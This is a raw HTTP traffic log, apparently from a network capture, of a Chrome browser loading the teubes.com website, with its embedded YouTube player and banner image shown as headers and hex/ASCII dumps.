2025-03-17 12:02:29 UTC	618	OUT	GET /proof/wp-content/uploads/2015/06/teubes1.png HTTP/1.1 Host: teubes.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.teubes.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 12:02:29 UTC	389	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 17 Mar 2025 12:02:29 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Upgrade: h2,h2c Connection: Upgrade, close Location: https://www.teubes.com/proof/wp-content/uploads/2015/06/teubes1.png Content-Length: 0 Content-Type: text/html; charset=UTF-8

Timestamp	Bytes transferred	Direction	Data
2025-03-17 12:02:29 UTC	993	OUT	GET /embed/1eOe_vR2IMQ?feature=oembed HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Browser-Channel: stable X-Browser-Year: 2025 X-Browser-Validation: wTKGXmLo+sPWz1JKKbFzUyHly1Q= X-Browser-Copyright: Copyright 2025 Google LLC. All rights reserved. X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiKo8sBCIWgzQEIrd7OAQ== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Sec-Fetch-Storage-Access: active Referer: https://www.teubes.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 12:02:29 UTC	2396	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 17 Mar 2025 12:02:29 GMT Strict-Transport-Security: max-age=31536000 Cross-Origin-Resource-Policy: cross-origin Origin-Trial: AmhMBR6zCLzDDxpW+HfpP67BqwIknWnyMOXOQGfzYswFmJe+fgaI6XZgAzcxOrzNtP7hEDsOo1jdjFnVr2IdxQ4AAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTc1ODA2NzE5OSwiaXNTdWJkb21haW4iOnRydWV9 Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script' Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="youtube_main" Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en for more info." Server: ESF X-XSS-Protection: 0 Set-Cookie: YSC=3frnwIjvAKc; Domain=.youtube.com; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Set-Cookie: VISITOR_INFO1_LIVE=sernUOp3GXk; Domain=.youtube.com; Expires=Sat, 13-Sep-2025 12:02:29 GMT; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Set-Cookie: VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgXg%3D%3D; Domain=.youtube.com; Expires=Sat, 13-Sep-2025 12:02:29 GMT; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Set-Cookie: __Secure-ROLLOUT_TOKEN=CLuLltHxwLqsOhCGpuz_iJGMAxiGpuz_iJGMAw%3D%3D; Domain=youtube.com; Expires=Sat, 13-Sep-2025 12:02:29 GMT; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version,Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-03-17 12:02:29 UTC	2396	IN	Data Raw: 37 34 35 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 20 64 61 74 61 2d 63 61 73 74 2d 61 70 69 2d 65 6e 61 62 6c 65 64 3d 22 74 72 75 65 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 2d 4a 58 49 71 49 69 6a 51 54 54 2d 78 30 62 49 42 75 5f 66 47 51 22 3e 69 66 20 28 27 75 6e 64 65 66 69 6e 65 64 27 20 3d 3d 20 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 20 7c 7c 20 27 75 6e 64 65 66 69 6e 65 64 27 20 3d 3d 20 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2e 69 Data Ascii: 7456<!DOCTYPE html><html lang="en" dir="ltr" data-cast-api-enabled="true"><head><meta name="viewport" content="width=device-width, initial-scale=1"><script nonce="-JXIqIijQTT-x0bIBu_fGQ">if ('undefined' == typeof Symbol \|\| 'undefined' == typeof Symbol.i
2025-03-17 12:02:29 UTC	2396	IN	Data Raw: 38 41 2c 55 2b 32 30 42 34 2c 55 2b 32 44 45 30 2d 32 44 46 46 2c 55 2b 41 36 34 30 2d 41 36 39 46 2c 55 2b 46 45 32 45 2d 46 45 32 46 3b 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 52 6f 62 6f 74 6f 27 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 73 72 63 3a 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 41 42 63 34 45 73 41 2e 77 6f 66 66 32 29 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 55 2b 30 33 30 31 2c 55 2b 30 34 30 30 2d 30 34 35 46 2c 55 2b 30 34 39 30 2d 30 34 39 31 2c 55 2b 30 34 42 30 Data Ascii: 8A,U+20B4,U+2DE0-2DFF,U+A640-A69F,U+FE2E-FE2F;}@font-face{font-family:'Roboto';font-style:normal;font-weight:500;src:url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fABc4EsA.woff2)format('woff2');unicode-range:U+0301,U+0400-045F,U+0490-0491,U+04B0
2025-03-17 12:02:29 UTC	2396	IN	Data Raw: 74 3a 20 30 3b 20 72 69 67 68 74 3a 20 30 3b 20 62 6f 74 74 6f 6d 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 32 35 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 33 70 78 3b 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 2f 69 6d 67 2f 6d 65 68 37 2e 70 6e 67 29 20 35 30 25 20 36 35 25 20 6e 6f 2d 72 65 70 65 61 74 3b 7d 2e 70 6c 61 79 65 72 2d 75 6e 61 76 61 69 6c 61 62 6c 65 20 2e 6d 65 73 73 61 67 65 20 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 20 6d 61 72 67 69 6e 3a 20 30 20 2d 35 70 78 20 31 35 70 78 3b 20 70 61 64 64 69 6e 67 3a 20 30 20 35 70 78 20 31 34 70 78 3b 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 38 38 38 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 39 70 78 3b 20 66 6f 6e 74 2d 77 65 69 Data Ascii: t: 0; right: 0; bottom: 0; padding: 25px; font-size: 13px; background: url(/img/meh7.png) 50% 65% no-repeat;}.player-unavailable .message {text-align: left; margin: 0 -5px 15px; padding: 0 5px 14px; border-bottom: 1px solid #888; font-size: 19px; font-wei
2025-03-17 12:02:29 UTC	2396	IN	Data Raw: 72 61 6d 65 28 66 75 6e 63 74 69 6f 6e 28 29 7b 73 6c 74 28 65 6c 2c 30 29 7d 29 3b 65 6c 73 65 20 73 6c 74 28 65 6c 2c 31 36 29 7d 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 2d 4a 58 49 71 49 69 6a 51 54 54 2d 78 30 62 49 42 75 5f 66 47 51 22 3e 76 61 72 20 79 74 63 66 67 3d 7b 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 79 74 26 26 79 74 2e 63 6f 6e 66 69 67 5f 7c 7c 79 74 63 66 67 2e 64 61 74 61 5f 7c 7c 28 79 74 63 66 67 2e 64 61 74 61 5f 3d 7b 7d 29 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 6b 2c 6f 29 7b 72 65 74 75 72 6e 20 6b 20 69 6e 20 79 74 63 66 67 2e 64 28 29 3f 79 74 63 66 67 2e 64 28 29 5b 6b 5d 3a 6f 7d 2c 73 Data Ascii: rame(function(){slt(el,0)});else slt(el,16)}})(window,document);</script><script nonce="-JXIqIijQTT-x0bIBu_fGQ">var ytcfg={d:function(){return window.yt&&yt.config_\|\|ytcfg.data_\|\|(ytcfg.data_={})},get:function(k,o){return k in ytcfg.d()?ytcfg.d()[k]:o},s
2025-03-17 12:02:29 UTC	2396	IN	Data Raw: 69 65 6e 74 5f 63 72 65 61 74 6f 72 5f 67 6f 61 6c 5f 74 69 63 6b 65 72 5f 62 61 72 5f 72 65 76 61 6d 70 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 63 6c 69 65 6e 74 5f 64 61 74 61 5f 6f 6e 5f 63 6f 6d 70 61 6e 69 6f 6e 5f 76 65 5f 65 76 65 6e 74 73 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 63 6c 69 65 6e 74 5f 6f 6e 6c 79 5f 77 69 7a 5f 64 69 72 65 63 74 5f 72 65 61 63 74 69 6f 6e 73 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 63 6c 69 65 6e 74 5f 6f 6e 6c 79 5f 77 69 7a 5f 66 6c 75 73 68 5f 71 75 65 75 65 5f 66 69 78 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 63 6c 69 65 6e 74 5f 6f 6e 6c 79 5f 77 69 7a 5f 6f 72 64 65 72 65 64 5f 72 65 61 63 74 69 6f 6e 5f 65 78 65 63 75 74 69 6f 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 63 6c 69 65 6e 74 Data Ascii: ient_creator_goal_ticker_bar_revamp":true,"enable_client_data_on_companion_ve_events":true,"enable_client_only_wiz_direct_reactions":true,"enable_client_only_wiz_flush_queue_fix":true,"enable_client_only_wiz_ordered_reaction_execution":true,"enable_client
2025-03-17 12:02:29 UTC	2396	IN	Data Raw: 67 75 69 64 61 6e 63 65 5f 70 72 6f 6d 70 74 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 6b 69 70 70 61 62 6c 65 5f 61 64 73 5f 66 6f 72 5f 75 6e 70 6c 75 67 67 65 64 5f 61 64 5f 70 6f 64 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 6d 65 61 72 69 6e 67 5f 65 78 70 61 6e 73 69 6f 6e 5f 64 61 69 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 74 68 69 72 64 5f 70 61 72 74 79 5f 69 6e 66 6f 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 74 69 6d 65 5f 6f 75 74 5f 6d 65 73 73 61 67 65 73 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 76 69 64 65 6f 5f 64 69 73 70 6c 61 79 5f 63 6f 6d 70 61 63 74 5f 62 75 74 74 6f 6e 5f 67 72 6f 75 70 5f 66 6f 72 5f 64 65 73 6b 74 6f 70 5f 73 65 61 72 63 68 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 76 69 65 77 5f 63 6f 75 Data Ascii: guidance_prompt":true,"enable_skippable_ads_for_unplugged_ad_pod":true,"enable_smearing_expansion_dai":true,"enable_third_party_info":true,"enable_time_out_messages":true,"enable_video_display_compact_button_group_for_desktop_search":true,"enable_view_cou
2025-03-17 12:02:29 UTC	2396	IN	Data Raw: 72 75 65 2c 22 6d 77 65 62 5f 61 70 70 5f 75 70 73 65 6c 6c 5f 63 61 70 5f 69 6d 70 72 65 73 73 69 6f 6e 73 22 3a 74 72 75 65 2c 22 6d 77 65 62 5f 61 74 74 72 5f 73 74 72 69 6e 67 5f 77 69 7a 22 3a 74 72 75 65 2c 22 6d 77 65 62 5f 62 69 67 5f 62 6f 61 72 64 73 22 3a 74 72 75 65 2c 22 6d 77 65 62 5f 62 69 67 5f 70 72 6f 67 72 65 73 73 5f 62 61 72 22 3a 74 72 75 65 2c 22 6d 77 65 62 5f 63 33 5f 64 69 73 61 62 6c 65 5f 63 61 72 76 65 5f 6f 75 74 22 3a 74 72 75 65 2c 22 6d 77 65 62 5f 63 33 5f 64 69 73 61 62 6c 65 5f 63 61 72 76 65 5f 6f 75 74 5f 6b 65 65 70 5f 65 78 74 65 72 6e 61 6c 5f 6c 69 6e 6b 73 22 3a 74 72 75 65 2c 22 6d 77 65 62 5f 63 33 5f 64 69 73 61 62 6c 65 5f 73 6f 66 74 62 61 72 22 3a 74 72 75 65 2c 22 6d 77 65 62 5f 63 33 5f 65 6e 61 62 6c 65 Data Ascii: rue,"mweb_app_upsell_cap_impressions":true,"mweb_attr_string_wiz":true,"mweb_big_boards":true,"mweb_big_progress_bar":true,"mweb_c3_disable_carve_out":true,"mweb_c3_disable_carve_out_keep_external_links":true,"mweb_c3_disable_softbar":true,"mweb_c3_enable
2025-03-17 12:02:29 UTC	2396	IN	Data Raw: 73 22 3a 74 72 75 65 2c 22 6d 77 65 62 5f 65 6e 61 62 6c 65 5f 77 61 74 63 68 5f 66 65 65 64 5f 69 6e 66 69 6e 69 74 65 5f 73 63 72 6f 6c 6c 22 3a 74 72 75 65 2c 22 6d 77 65 62 5f 65 6e 61 62 6c 65 5f 78 68 72 5f 63 68 75 6e 6b 69 6e 67 22 3a 74 72 75 65 2c 22 6d 77 65 62 5f 65 78 70 6c 6f 72 65 5f 62 75 74 74 6f 6e 5f 63 68 69 70 5f 62 75 67 66 69 78 22 3a 74 72 75 65 2c 22 6d 77 65 62 5f 66 69 6c 74 65 72 5f 76 69 64 65 6f 5f 66 6f 72 6d 61 74 5f 69 6e 5f 77 65 62 66 65 22 3a 74 72 75 65 2c 22 6d 77 65 62 5f 66 69 78 5f 6c 69 76 65 73 74 72 65 61 6d 5f 73 65 65 6b 69 6e 67 22 3a 74 72 75 65 2c 22 6d 77 65 62 5f 66 69 78 5f 6d 6f 6e 69 74 6f 72 5f 76 69 73 69 62 69 6c 69 74 79 5f 61 66 74 65 72 5f 72 65 6e 64 65 72 22 3a 74 72 75 65 2c 22 6d 77 65 62 5f Data Ascii: s":true,"mweb_enable_watch_feed_infinite_scroll":true,"mweb_enable_xhr_chunking":true,"mweb_explore_button_chip_bugfix":true,"mweb_filter_video_format_in_webfe":true,"mweb_fix_livestream_seeking":true,"mweb_fix_monitor_visibility_after_render":true,"mweb_
2025-03-17 12:02:29 UTC	2396	IN	Data Raw: 62 61 64 5f 62 75 69 6c 64 5f 6c 61 62 65 6c 73 22 3a 74 72 75 65 2c 22 70 6f 6c 79 6d 65 72 5f 76 65 72 69 66 69 79 5f 61 70 70 5f 73 74 61 74 65 22 3a 74 72 75 65 2c 22 70 72 65 76 65 6e 74 5f 7a 65 72 6f 5f 68 69 67 68 5f 73 63 6f 72 65 5f 76 61 6c 75 65 5f 66 72 6f 6d 5f 62 65 69 6e 67 5f 73 65 6e 74 22 3a 74 72 75 65 2c 22 71 6f 65 5f 73 65 6e 64 5f 61 6e 64 5f 77 72 69 74 65 22 3a 74 72 75 65 2c 22 72 65 61 64 5f 64 61 74 61 5f 66 72 6f 6d 5f 77 65 62 5f 63 6f 6d 70 6f 6e 65 6e 74 5f 77 72 61 70 70 65 72 22 3a 74 72 75 65 2c 22 72 65 65 6c 73 5f 65 6e 61 62 6c 65 5f 6e 65 77 5f 6c 61 74 65 6e 63 79 5f 6c 6f 67 67 69 6e 67 22 3a 74 72 75 65 2c 22 72 65 6d 6f 76 65 5f 6d 61 73 74 68 65 61 64 5f 63 68 61 6e 6e 65 6c 5f 62 61 6e 6e 65 72 5f 6f 6e 5f 72 Data Ascii: bad_build_labels":true,"polymer_verifiy_app_state":true,"prevent_zero_high_score_value_from_being_sent":true,"qoe_send_and_write":true,"read_data_from_web_component_wrapper":true,"reels_enable_new_latency_logging":true,"remove_masthead_channel_banner_on_r
2025-03-17 12:02:29 UTC	2396	IN	Data Raw: 61 5f 64 69 61 63 72 69 74 69 63 22 3a 74 72 75 65 2c 22 77 65 62 5f 66 69 78 5f 73 65 67 6d 65 6e 74 65 64 5f 6c 69 6b 65 5f 64 69 73 6c 69 6b 65 5f 75 6e 64 65 66 69 6e 65 64 22 3a 74 72 75 65 2c 22 77 65 62 5f 67 63 66 5f 68 61 73 68 65 73 5f 69 6e 6e 65 72 74 75 62 65 22 3a 74 72 75 65 2c 22 77 65 62 5f 67 65 6c 5f 74 69 6d 65 6f 75 74 5f 63 61 70 22 3a 74 72 75 65 2c 22 77 65 62 5f 6d 61 73 74 68 65 61 64 5f 76 69 73 69 74 65 64 5f 63 68 61 6e 6e 65 6c 5f 63 6f 6c 6f 72 5f 66 69 78 22 3a 74 72 75 65 2c 22 77 65 62 5f 6d 65 6d 6f 69 7a 65 5f 69 6e 66 6c 69 67 68 74 5f 72 65 71 75 65 73 74 73 22 3a 74 72 75 65 2c 22 77 65 62 5f 6f 6e 65 5f 70 6c 61 74 66 6f 72 6d 5f 65 72 72 6f 72 5f 68 61 6e 64 6c 69 6e 67 22 3a 74 72 75 65 2c 22 77 65 62 5f 6f 6e 65 Data Ascii: a_diacritic":true,"web_fix_segmented_like_dislike_undefined":true,"web_gcf_hashes_innertube":true,"web_gel_timeout_cap":true,"web_masthead_visited_channel_color_fix":true,"web_memoize_inflight_requests":true,"web_one_platform_error_handling":true,"web_one

Timestamp	Bytes transferred	Direction	Data
2025-03-17 12:02:29 UTC	638	OUT	GET /wp-content/uploads/2019/07/Teubes-Out-of-Africa-Banner.jpg HTTP/1.1 Host: www.teubes.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.teubes.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 12:02:30 UTC	262	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 12:02:30 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 18 Nov 2021 08:06:10 GMT ETag: "c2eb-5d10ba1a7f941" Accept-Ranges: bytes Content-Length: 49899 Content-Type: image/jpeg
2025-03-17 12:02:30 UTC	7930	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 09 09 09 09 0a 09 0a 0c 0c 0a 0f 10 0e 10 0f 15 14 12 12 14 15 20 17 19 17 19 17 20 31 1f 24 1f 1f 24 1f 31 2c 35 2b 28 2b 35 2c 4e 3d 37 37 3d 4e 5a 4c 48 4c 5a 6e 62 62 6e 8a 83 8a b4 b4 f2 01 09 09 09 09 0a 09 0a 0c 0c 0a 0f 10 0e 10 0f 15 14 12 12 14 15 20 17 19 17 19 17 20 31 1f 24 1f 1f 24 1f 31 2c 35 2b 28 2b 35 2c 4e 3d 37 37 3d 4e 5a 4c 48 4c 5a 6e 62 62 6e 8a 83 8a b4 b4 f2 ff c2 00 11 08 01 60 06 30 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 01 05 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 ff da 00 08 01 01 00 00 00 00 f5 c1 c0 00 a0 00 00 00 00 00 f0 00 16 77 d7 47 3d b1 c6 e8 e3 6d 68 ab 6a ea c6 c5 00 00 00 00 01 40 00 70 00 00 0e 0e 77 3f Data Ascii: JFIF 1$$1,5+(+5,N=77=NZLHLZnbbn 1$$1,5+(+5,N=77=NZLHLZnbbn`0"wG=mhj@pw?
2025-03-17 12:02:30 UTC	8000	IN	Data Raw: 7a 5e c0 88 85 62 2f d2 9e 7e 7b d5 6a f4 e7 af 64 25 3a 37 4e c4 73 a7 8c 42 40 00 04 56 2b 58 8a d6 3f ff c4 00 3a 10 00 02 02 02 01 02 04 04 05 02 06 01 05 01 01 01 01 02 03 04 00 05 11 06 12 10 13 21 31 14 20 22 32 15 23 30 41 50 07 33 16 24 35 40 42 51 34 17 25 36 43 60 52 44 61 ff da 00 08 01 01 00 01 08 00 fe 23 82 de cb 08 1e ec ea be ed 39 e7 b4 77 3e 2b f3 9d c3 09 c6 e7 3c c3 9d dc e1 61 85 b3 8e 72 58 c8 3c 86 63 c7 aa dc 9a 27 fc ba db 60 fe 92 83 14 c9 e8 f1 32 fb 02 3f 89 1e 37 ea f9 2f e6 20 1d a5 65 05 ff 00 61 df e8 bc 00 57 d4 80 08 5e 1c ca a7 9c 2d eb ea 23 48 fb 88 36 87 b6 2b 44 c3 90 4c 5c b0 4e d4 e7 d6 58 d0 ab 64 6d c3 77 35 c1 c2 f6 e5 41 fe 6a 3c b2 49 85 57 29 40 a2 30 99 1c 44 60 8e 3e 5b 89 61 2a 54 87 89 09 f5 1f 43 e1 7f Data Ascii: z^b/~{jd%:7NsB@V+X?:!1 "2#0AP3$5@BQ4%6C`RDa#9w>+<arX<c'`2?7/ eaW^-#H6+DL\NXdmw5Aj<IW)@0D`>[a*TC
2025-03-17 12:02:30 UTC	8000	IN	Data Raw: 38 e0 8e 9a aa 8f ce 1d 0d 0f 62 75 3a 66 3c 11 a6 d4 32 9e cf c0 35 47 d7 0f 4d 6a 83 fa 1e 9d d6 28 c3 d3 5a 91 c8 c3 d3 1a e0 8a 4a 74 ce b9 db b8 4b d2 35 0f ac 7f e1 4a c1 15 58 74 b4 2a 58 13 d3 35 79 fa 47 4c 40 0a f7 49 d2 64 fa c7 fe 16 b6 33 fc 35 64 a6 0e 9f 97 bf eb 1a 2e f2 78 ff 00 0e b0 04 b7 4e f4 9b 1d bd 69 da fc 85 62 54 10 2f ae 46 3d 3c 36 37 12 85 1b 16 5e e4 8e f6 a4 77 a7 fd f9 5b 23 21 cc 83 10 a1 6e 72 49 2a 31 27 21 30 3c 87 b2 b4 02 79 13 cb ab d2 db 2b 47 cc 41 d1 96 a1 75 ef bb d3 30 54 8a e9 c5 49 96 48 ca c0 6c a1 2b 9a 6d 65 bd 8c ca 84 e9 3e 16 68 d0 9e 9e d6 97 24 8a e9 02 45 14 17 1d 22 a9 30 cd 99 49 a3 8f b2 a5 a5 79 ab ae 53 98 b1 9c e6 c6 73 f0 f7 b2 2b b6 a2 81 44 5b 4b 06 4a 13 f9 95 aa d0 08 5c d2 a9 5e 69 0f 9b Data Ascii: 8bu:f<25GMj(ZJtK5JXtX5yGL@Id35d.xNibT/F=<67^w[#!nrI1'!0<y+GAu0TIHl+me>h$E"0IySs+D[KJ\^i
2025-03-17 12:02:30 UTC	8000	IN	Data Raw: 17 67 67 17 6a df b8 da 45 fb ae c2 b6 2d ba cd 82 48 9f db e5 07 3b ce 09 70 4c 0e 72 0f e9 30 f4 cb 35 a1 b9 5a 48 25 35 25 a3 6e 48 25 d4 45 13 76 f3 d4 89 1a 38 22 e3 b7 0f c5 f2 4c 8a d9 0b 00 eb 81 80 f3 0e 47 30 08 70 bb 19 43 98 6e d9 41 cc 69 b6 ba 32 be ce d4 87 8c 5b d7 51 fb 24 32 db 44 53 93 de 3c aa e5 9b 72 a3 7d 33 dd 27 d1 26 2a fe b9 52 47 96 ec 65 ef 9f cd 90 e1 3e 17 3e c5 c8 7d 86 2f b6 53 f5 95 73 6c 07 9a b8 7c 1c fd 2d 91 7b e6 82 b9 b3 24 b0 aa 24 54 aa 2a 22 92 ec c4 c0 9e 99 c7 e8 75 3a a4 bb 5b d3 1b 30 a9 9d 11 3a 76 ac 11 eb ab 3c 3b 08 e4 f8 59 48 00 73 9c 8c 3d 99 5a b4 8c 91 1c bb ad 43 0b ca ee 8f 0d b2 eb a6 9e 34 9e ac eb fa f6 a5 30 57 9e 55 d4 6a d7 6b a9 af 7e d6 b3 67 6e ff 00 47 4b 6e 6f 3a 5f f0 3f 9d 9a a7 66 d5 Data Ascii: ggjE-H;pLr05ZH%5%nH%Ev8"LG0pCnAi2[Q$2DS<r}3'&RGe>>}/Ssl\|-{$$T"u:[0:v<;YHs=ZC40WUjk~gnGKno:_?f
2025-03-17 12:02:30 UTC	8000	IN	Data Raw: 4e 73 e4 3a a9 5b 49 c7 4e ab 83 74 40 f7 cc 18 cc cf 55 83 d5 27 e9 11 69 61 50 54 00 1d 7d 59 c2 74 86 7e 13 8a 5e 7d 4d 0f e8 9c 56 de 1a b8 35 23 38 ad fc d1 76 9f de 9e 97 a4 3b b5 75 2a ce b3 7c 67 4b 0c 55 cb 29 49 62 fa da d6 d3 f8 4a 93 aa 21 ca 2d ef 30 88 eb f8 65 5f 08 cc 75 b6 df ad 36 ac fa b8 31 4d 7f c3 83 e6 a2 ba 91 70 1a 68 94 ba 5d 5e 53 47 4f 64 d1 f1 76 9b ca 38 7e da 70 83 cb ed 6f 3b 36 1d a0 4a 44 7b 4c d1 fd e6 50 4f 13 34 75 4e d1 94 35 5f b1 c0 9a 0a 61 e6 09 c5 f1 9a 26 0b 77 8f ce 50 a2 ca 26 8e 96 dd c6 35 61 de 65 26 2c 7b 61 a8 09 e4 e2 3d 55 be 4b 8c 89 9a fd f9 5d e9 f8 3c aa ec f7 e9 0d 99 52 b1 ea d9 96 69 55 94 72 36 9a 55 63 7e d0 2f 34 d7 fe 64 9a 70 f1 2b 34 9a c1 fe f5 e6 99 a4 28 fb 2a 7f 59 f2 a6 90 2d d2 bc f9 Data Ascii: Ns:[INt@U'iaPT}Yt~^}MV5#8v;u\|gKU)IbJ!-0e_u61Mph]^SGOdv8~po;6JD{LPO4uN5_a&wP&5ae&,{a=UK]<RiUr6Uc~/4dp+4(Y-
